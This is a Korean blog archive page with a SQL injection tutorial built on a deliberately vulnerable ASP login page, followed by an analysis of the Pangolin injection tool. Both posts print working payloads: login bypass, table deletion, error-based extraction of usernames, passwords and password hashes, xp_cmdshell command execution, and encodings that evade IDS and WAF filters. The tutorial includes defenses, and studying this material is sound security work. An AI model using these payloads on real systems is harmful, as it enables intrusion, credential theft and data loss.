'web/injection'에 해당되는 글 3건

  1. 2010.11.13 쉽게쓴 sql injection
  2. 2010.01.27 SQL Injection 정리
  3. 2010.01.07 Pangolin Professional Edition v3.0.0.1011 쿼리 간단 분석

쉽게쓴 sql injection

web/injection 2010. 11. 13. 01:30

'web > injection' 카테고리의 다른 글

SQL Injection 정리  (0) 2010.01.27
Pangolin Professional Edition v3.0.0.1011 쿼리 간단 분석  (0) 2010.01.07
:

SQL Injection 정리

web/injection 2010. 1. 27. 00:05
http://blog.naver.com/kim119z?Redirect=Log&logNo=150053838896

SQL Injection 완벽 정리

▶ ▶ ▶ ▶ ▶ ▶ ▶ SQL INJECTION ◀ ◀ ◀ ◀ ◀ ◀ ◀

꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등

여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다
.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히

수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.

지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤

적절한 대응책에 대해 알아 본다.

☞ 테스트를 위한 환경설정
1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다 

- LoginForm.asp -
<html>

  <head>

    <title>SQLInjection Demo</title>   

    <script language="javascript">

      function CheckForm(){

        form = document.LoginForm;

        if(form.MemberID.value.length < 1 ){

          alert("아이디 입력하쇼");

          form.MemberID.focus();

          return false;

        }

        if(form.Password.value.length < 1 ){

          alert("비밀번호 입력하쇼");

          form.Password.focus();

          return false;

        }

        return true;

      }

    </script>

  </head>

  <body>   

    <form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">     

      <table border=1 width=500>

        <tr>

          <td width=100>아이디</td>

          <td>

            <input type="text" name="MemberID" size="15">

          </td>

        </tr>

        <tr>

          <td>비밀번호</td>

          <td>

            <input type="text" name="Password" size="40">

          </td>

        </tr>

        <tr align=center>

          <td colspan="2">

            <input type="submit" value=" 로그인 ">        

          </td>

        </tr>

      </table>     

    </form>   

  </body>

</html>

- LoginOK.asp -
<script language="javascript">

  function Error(){

    alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");

    history.back(-1);

  }

</script>

<%

  MemberID = Request("MemberID")

  Password = Request("Password")

 

  strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"

  set conn = server.createobject("adodb.connection")

  conn.open strConnect

 

  SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"

  'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"

  Response.Write SQL

  'Response.ENd

    

  Set Rs = conn.Execute(SQL)

 

  IF Not Rs.EOF Then            '로그인이 성공하면 마이페이지로 보낸다   

    Session("MemberID") = Rs(0)

    Response.Redirect "MyPage.asp"

  ELSE                          '로그인이 실패하면 이전페이지로 다시 보낸다 

    Response.Write("<script language='javascript'>Error();</script>")

  END IF

 

  Rs.close

  Set Rs = Nothing

  conn.close

  set conn = nothing

%>


2.
데이터베이스와 테이블을 생성한다
  - SQLInjection
이라는 이름의 데이터베이스 생성
  - Tbl_Members
라는 테이블 생성
    Tbl_Members
테이블 스키마 

             MemberID             varchar   20          0

             Password            varchar   20          0

             Name      varchar   50          0

             Age        int          4            0


  
아래와 같이 데이터를 삽입해 둔다 

             admin     haha      관리자    30

             test        kaka       테스트맨              31

             babo      huk        바보               32


이렇게 asp와 데이터베이스의 셋팅을 하고 공격유형을 하나하나 살펴보자.



☞ 공격1> 전형적인 공격방법
1.
관리자 계정을 알아낸다
  (
물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
  
애인의 계정만 알고 비밀번호를 모를 경우 애인 계정으로 해봐도 되겠정 ^^;)

 -
회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는

   (
: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다

2.
전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
  
응용프로그램의 동적쿼리 예시 :
  
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는

  
쿼리가 아래와 같았다.
   (
아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다
)
   SQL = "Select * From Tbl_Members
          Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"



사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도 


삽입값 :  admin’--
실행되는 쿼리 :
 Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '
아무거나
'
결과 :
 
비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다
.
 admin
이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는

 admin
으로 로그인 하게 된다
.

 

 


사례2>비밀번호 입력란에‘(홑따옴표) or 조건 및 주석문 삽입으로 역시 불법 로그인 시도

 

삽입값 : ' or 1=1;--    
 실행되는 쿼리 :
 
Select * From Tbl_Members Where MemberID = 'admin' And  Password = '' or 1=1;--'
 
결과 :
 
비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다
.
 
역시 admin으로 로그인이 성공하게 된다.

 


사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)

 

삽입값 : 1’ or MemberID=’admin
 
실행되는 쿼리 :
  Select * From Tbl_Members Where MemberID = 'admin' And Password = '1'
   or MemberID='admin'
 
결과 :
 
역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다.

 


사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)


삽입값 : ' or 1=1;Delete From Tbl_Members--
실행되는 쿼리 :
 Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
  Delete From Test-- '
결과 :
 
회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은

 
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다


위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠
)
정말 큰일이 아닐 수 없네요
..
다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을

깨내는 데모를 보여드리겠습니다




☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도

사례1> 컬럼명 알아내기
로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다

아래와 같은 url IE에서 바로 접근한다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
IE
는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'
아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다
.
/SQLInjection/LoginOK.asp,
20
  


   결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다. 



 사례2> 테이블 명 알아내기
  알아낸 패스워드 컬럼을 그룹핑 합니다.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
   group by (Password) --
  역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

  결과 :
여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다

(
덤으로 컬럼명도 하나더 얻었네요 ^^)

추가적으로 다른 컬럼들도 알아내 봅시다.
이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을

얻을 수 있습니다
. ( group by (Password),(MemberID) )
이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요
-.-)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나
' group by (Password) , (MemberID) --

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

 
또 다른 컬럼명(Name)를 알수 있지요..
이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다



 

  사례3> 특정 테이블 컬럼의 데이터타입 알아내기
  위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
  (
공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다
)
  마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다
.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --

  이랬더니 아래와 같은 오류가 나옵니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


 

  결과
  즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
  (
아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도

  희열을 느낍니다. .. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)


  내부적으로 실행된 코드는 아래와 같겠죠..

  Select * From Tbl_Members Where MemberID = 'admin'

  UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''

 

  여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
  모두 캐낼 수 있습니다.




☞ 공격2> 회원아이디 및 비밀번호 알아내기
   (
아주 흥미로운 결과를 알 수 있습니다)

위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미
회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다

가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다
.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다
.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다
.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다
.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리
를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)

여하튼 위와 같은 쿼리가 있구요


보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다
.

사례1> 회원테이블에서 모든 회원 아이디 얻기

 Age
컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
 
아이디를 알아 봅시다
.
 
위에서 이미 알아본 방식입니다만, 다시 언급합니다
.

공격방법
>
아래와 같이 웹브라우저에서 바로 접근

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1  MemberID FROM Tbl_Members --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'

 -
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
~~
여기서 우리는 회원테이블에 첫번째로 저장된 회원id admin 임을 알아 냈습니다.


좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin
을 알아냈으니 두번째로 저장된 id를 알아 봅시다

아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID
NOT IN ('admin') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'

 

- 오류메세지 - 

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'test'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 두번째 아이디는 test 이군요..

재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --

실행되는 쿼리
:
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'babo'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 : 세번째 아이디는 babo 군요.. 캬캬..

이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..

.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다


사례2> 특정 회원의 비밀번호 알아내기
 
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.

 
아래와 같이 실행합니다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1
Password FROM Tbl_Members Where MemberID = 'admin' --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'


- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'haha'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
드뎌 나왔습니다. 너무나도 친절하게도

admin
의 비밀번호는 haha 라고 ie는 말해 줍니다.. 신이시여..

이 희열.. 이 감동.. 난 해커야.. 캬캬


그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'huk'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)


이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.

중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히

중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다


공격4> 시스템 명령어 실행
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--

MSSQL
내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요
..
ex: xp_grantlogin(
로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..


이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection
은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다
.
그럼.. 본 글을 핵심
!!
SQL Injection 의 완벽 대응책을 알려 드립니다 




 

 

 

SQL INJECTION 의 대응책 

* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음 

위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
  1.
불법 로그인 시도
  2.
고의적 에러발생 : 데이터베이스 조회(db,table,column, 타입등) 후 공격
  3.
시스템 명령어 삽입
  4.
계정/비밀번호 확인
  5.
위험쿼리 실행(DROP,DELETE,UPDATE )
  6.
기타 등등 


* 공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
  
반드시 그 입력값을 검증하라.
  
위험요소가 있는 입력값은 아래와 같습니다.
    ‘ (
홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
  
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
  
2.
서비스 SQL 계정의 권한을 최소한으로 하라.
   SQL
계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
  
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.

3.
웹페이지의 오류정보는 숨겨라.
  
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
  
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
   (ASP.NET
에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
   
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
   
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
   ASP
PHP JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
   (
다 알지요?)

 4.
.. 뭐가 있을까요
  
.. 만에 하나를 대비하는 DB백업.
  
.. 다들 고민 해 봅시다.

* SQL Injection
공격하는 놈 찾아내기
 
위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
 
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
 
500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
 
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.

 
또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
 SQL Injection
은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
 
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
 
가능성이 높습니다.

 
웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
 
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
 
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
 
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다

 

'web > injection' 카테고리의 다른 글

쉽게쓴 sql injection  (0) 2010.11.13
Pangolin Professional Edition v3.0.0.1011 쿼리 간단 분석  (0) 2010.01.07
:

Pangolin Professional Edition v3.0.0.1011 쿼리 간단 분석

web/injection 2010. 1. 7. 02:33
http://malwarelab.tistory.com/64


악성코드는 아니지만 SQL Injection Tool로 유명한 판골린을 분석해보았습니다.
어떤 쿼리를 날려서 인젝션을 수행하는지...

이전 버전 사용할때 대부분 옵션은 그냥 디폴트로 놓고 사용했었는데요
이번에는 옵션을 바꿔가면서 어떤 쿼리를 날리는지 확인해봤습니다.

먼저 확인해 볼 부분은 Setting -> Advanced입니다.




Replace space as /**/ , + , %09 , [TAB]
Bypass firewall filter when 'select' is not allow
Auto-analyzing keyword
URI Encode Mode
Enable BT Model (bypass firewall)
Stop after error happens(access data)
Auto check record count of tables



옵션은 모두 7가지였고 공백(space)을 대체하는 곳에서 4가지 기능이 있었습니다.
디폴트 옵션은 Auto-analyzing keyword입니다.

하나씩 선택해서 패킷을 떠 보았는데 테스트는 실행버튼() 클릭해서 기본적으로 수집할 대상을 선정한 후에 Select All, Go 버튼을 클릭해서 기본 정보만 수집하는 테스트만 했습니다.

먼저 어떤 쿼리를 날리는지부터 확인해보고 각 옵션간의 어떤 차이점을 보이는지 확인해보도록 하겠습니다.


0x01 Pangolin SQL Injection Query

 and db_name()>0--
 and @@version>1--
 and db_name()>0--
 and @@servername>0--
 and host_name()=0--
 and system_user>0--
 and user>0--
 and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(1))+char(124)=1 and 1=1
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 1 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 2 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 3 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 4 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 5 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 6 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--
 ;insert pangolin_test_table exec master.dbo.xp_availablemedia;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  1 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  2 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table
(name nvarchar(255),description nvarchar(4000));--
 ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  2 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  1 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  2 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--


기본적으로 날리는 쿼리는 위와 같습니다.
빨간색으로 표시된 부분을 보시면 pangolin_test_table이라는 테이블을 만들어서(create) 특정 데이터를 삽입(insert)한 후에 이 테이블에서 데이터를 선택(select)하고 모든 작업이 끝나면 테이블을 삭제(drop)하고 있습니다.

이렇게해서 확인된 정보는 UI에 출력됩니다.




기본 옵션(Auto-analyzing keyword)을 사용하면 공백(space)을 %20으로 대체해서 쿼리를 날립니다.
수작업할때는 그냥 공백으로 넣어도 결국 %20으로 바꿔서 URL을 요청하는 것과 동일한 방식입니다.


0x02 Pangolin SQL Injection Query by Advanced Setting

기본적으로 날리는 쿼리는 동일합니다. 다만 SQL Injection할 쿼리를 어떤 형태로 보내느냐하는 차이점만 있습니다.
하나씩 옵션별로 나타나는 특징들만 살펴보도록 하겠습니다.


Replace space as /**/

공백문자열을 /**/ 으로 대체합니다. IDS 패턴 우회기법에서 종종 사용하는 기법입니다.

/board_view.asp?num=16/**/and/**/(select/**/top/**/1/**/cast([name]/**/as/**/nvarchar(500))%2bchar(94)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/[dbid]/**/in/**/(select/**/top/**/1/**/[dbid]/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/[dbid]/**/desc))%3E0--

위와 같은 방법으로 /**/을 넣게 되면 IDS에서 탐지됩니다. -_-;;
문자열로 탐지하는 IDS를 우회기법은 예를 들어 select를 탐지한다면 se/**/le/**/ct 같은 방식으로 쿼리를 날려야 우회가 가능한데 이 옵션은 그냥 공백만 /**/으로 대체했기 때문에 IDS에서 탐지될 확률이 아주 높습니다.


Replace space as +

/board_view.asp?num=16+and+(select+top+1+cast([name]+as+nvarchar(500))%2bchar(94)+from+[master].[dbo].[sysdatabases]+where+[dbid]+in+(select+top+1+[dbid]+from+[master].[dbo].[sysdatabases]+order+by+[dbid]+desc))%3E0--


Replace space as %09

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0--


Replace space as [TAB]

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0-- 

%09가 Character형으로 TAB을 의미하기 때문에 %09 옵션이나 [TAB] 옵션이나 동일한 쿼리를 날리고 있습니다.


Bypass firewall filter when 'select' is not allow

select라는 문자열이 허용되지 않을 경우 이를 우회하는 옵션입니다.

/board_view.asp?num=16%20and%20(se%l%e%c%t%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(se%l%e%c%t%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

select를 se%l%e%c%t로 변경시켜 쿼리를 날립니다. %만 있는 경우 웹서버를 이를 무시하기 때문에 결국 select라는 문자열만 인식하게 됩니다. HTTP를 통해 들어오는 패킷을 그대로 확인하는 IDS나 WAF라면 탐지를 못하겠지만 이를 웹서버에서 인식하는 형태로 디코딩해서 탐지하는 장비라면 이 옵션 또한 무용지물이 되겠죠.


URI Encode Mode

/board_view.asp?num=%31%36%20%61%6e%64%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%63%61%73%74%28%5b%6e%61%6d%65%5d%20%61%73%20%6e%76%61%72%63%68%61%72%28%35%30%30%29%29%2b%63%68%61%72%28%39%34%29%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%77%68%65%72%65%20%5b%64%62%69%64%5d%20%69%6e%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%5b%64%62%69%64%5d%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%6f%72%64%65%72%20%62%79%20%5b%64%62%69%64%5d%20%64%65%73%63%29%29%3E%30%2d%2d


모든 문자열을 헥사값으로 바꿔서 쿼리를 날립니다. 뭐 결국 디코딩하면 위에서 보셨던 쿼리랑 동일한 쿼리가 나오겠지만요..


Enable BT Model (bypass firewall)

언어를 한글로 바꾸면 "변태모드"라고 나옵니다. -_-;;

/board_view.asp?num=16%20an%d%20(se%l%e%c%t%20to%p%201%20ca%st([name]%20as%20nvarch%ar(500))%2bch%ar(94)%20fr%om%20[master].[dbo].[sysdatabases]%20wh%ere%20[dbid]%20in%20(se%l%e%c%t%20to%p%201%20[dbid]%20fr%om%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

중간중간에 %를 마구잡이로 집어 넣어서 쿼리를 날립니다. 그래서 변태모드인가 봅니다.


Stop after error happens(access data)

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

기본 옵션인 Auto-analyzing keyword와 동일하게 공백을 %20으로 만들어서 보냅니다. 옵션 이름으로 해석하면 데이터 접근시 에러가 발생하면 멈추라는 옵션인 듯 한데 어떤 에러에서 멈추라는 의미인지 확인을 못했습니다. 제가 테스트한 서버에서는 계속 타입 불일치로 500 에러를 내면서 계속 결과를 받아왔습니다. 이 결과로 보아 원하는 값을 계속 가져올 수 없는 에러가 발생할 때 멈추라는 것으로 생각할 수 있겠습니다.


Auto check record count of tables

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--


다른 기능들은 그냥 한번 써보시면 어떤 기능인지 대충 감은 잡히실겁니다.
좀 더 자세하게 보고 싶었지만 귀찮아서 여기서 끝낼까 합니다...(별로 한것도 없는데 여기서 끝내냐!!! -_-;;)


